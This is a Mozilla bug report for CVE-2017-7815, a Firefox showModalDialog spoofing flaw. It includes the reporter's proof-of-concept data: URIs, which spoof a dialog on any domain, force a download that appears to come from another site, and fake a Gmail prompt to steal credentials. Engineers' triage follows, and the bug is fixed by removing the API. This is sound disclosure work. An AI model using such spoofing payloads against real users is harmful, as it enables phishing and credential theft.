1368981 - (CVE-2017-7815) Firefox allows you to insert modal dialog in any domain

Status: RESOLVED FIXED

(Core :: DOM: Core & HTML, defect, P2)

Description

[Jose María Acuña]

User Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36

Steps to reproduce:

1- Go to:

data:text/html,<script>function loadIframe() {win = open('','_top');win.document.open();win.document.write('data:text/html,<s'+'cript>location="https://www.google.com";</s'+'cript>');win.document.close();}function go() {var iframe = '<iframe onload="loadIframe();"></iframe>';document.body.innerHTML = iframe; showModalDialog('https://www.firefox.com','','dialogWidth=600;dialogHeight=600');}</script><input type="button" onclick="go()" value="test"/>

2- Click button

Bug detected in Firefox browsers that do not use multi-process architecture or e10s

Tested in:

Firefox Nightly 55.0a1 (2017-05-17) (64-bit)
Firefox Developer Edition 54.0a2 (2017-04-18) (32-bits)
Firefox 53.0.2 (32-bit)

Note:

I consider that it is not a variant of the bug with id 1365875 because the showModalDialog method is not part of the three types of native popup boxes in javascript

Comment 1

[Jose María Acuña]

You could use the showModalDialog method to download a file from an unauthorized domain.

Example:

data:text/html,<input type="button" onclick="go()" value="test"/><script>
function loadIframe() {
	var win = open('','_top');
	win.document.open();
	win.document.write('data:text/html,<s'+'cript>location = \'https://www.google.com\';</s'+'cript>');
	win.document.close();
}
function go() {
	var iframe = '<iframe style="border:0;height:0;width:0" onload="loadIframe();"></iframe>';
	document.body.innerHTML += iframe;
	window.showModalDialog('http://d.7-zip.org/a/7z1700.exe',window,'dialogWidth=100px;dialogHeight:100px');
}
</script>

Comment 2

[Jose María Acuña]

And it could even steal the credentials of an unsuspecting user.

Go to:


data:text/html,<input type="button" onclick="go()" value="test"/>
<script>
function loadIframe() {
	var win = open('','_top');
	win.document.open();
	win.document.write('data:text/html,<s'+'cript>location = \'https://mail.google.com\';</s'+'cript>');
	win.document.close();
}
function go() {
	var iframe = '<iframe style="border:0;height:0;width:0" onload="loadIframe();"></iframe>';
	document.body.innerHTML = iframe;
	window.showModalDialog('data:text/html,<h3>Loadig...</h3><input type="button" value="Accept" onclick="window.close()"/>',window,'dialogWidth=100px;dialogHeight:100px');
	location = 'http://feeds.feedburner.com/GoogleInbox';
}
</script>

Comment 3

[Andrew Overholt [:overholt]]

We're removing showModalDialog with e10s (in bug 981796), right, Blake?

Comment 4

[Andrew McCreight [:mccr8]]

(In reply to Andrew Overholt [:overholt] from comment #3)
> We're removing showModalDialog with e10s (in bug 981796), right, Blake?

showModalDialog isn't supported with e10s, and comment 0 says this doesn't affect e10s.

We looked at this in sec triage, and it seemed like a fairly convincing spoof.

Comment 5

[Jose María Acuña]

Attachment: Download file from any site

Comment 6

[Blake Kaplan (:mrbkap) (inactive)]

Let's just turn off showModalDialog for everybody. It'll be behind a pref for a bit and we'll remove the code soon after.

Comment 7

[Andrew Overholt [:overholt]]

I was thinking we'd eventually get e10s to 100% but comment 6 works for me. I'm assuming we'll just do that in bug 981796.

Comment 8

[Andrew Overholt [:overholt]]

And Blake sent email: https://groups.google.com/forum/#!msg/mozilla.dev.platform/4t5AAxxrCoA/hFXL2HsGBwAJ

Comment 9

[Jose María Acuña]

Hi,

I do not know what exactly means "bug which should be worked on in the next release/iteration"
but I have checked that it is reproduced in:

- Firefox 55.0.3 (32-bit)
- Firefox ESR 52.3.0 (64-bit)

It is not reproduced in:

- Firefox Developer Edition 56.0b3 (32-bits)
- Firefox Nightly 57.0a1 (2017-08-28) (64-bit)


Tested in Firefox browsers that do not use multi-process architecture or e10s.
(I used the html code from Comment 2)

Comment 10

[Andrew McCreight [:mccr8]]

This was fixed via bug 981796, which removed showModalDialog.

Comment 11

[Jose María Acuña]

I understand now :)
Thank you!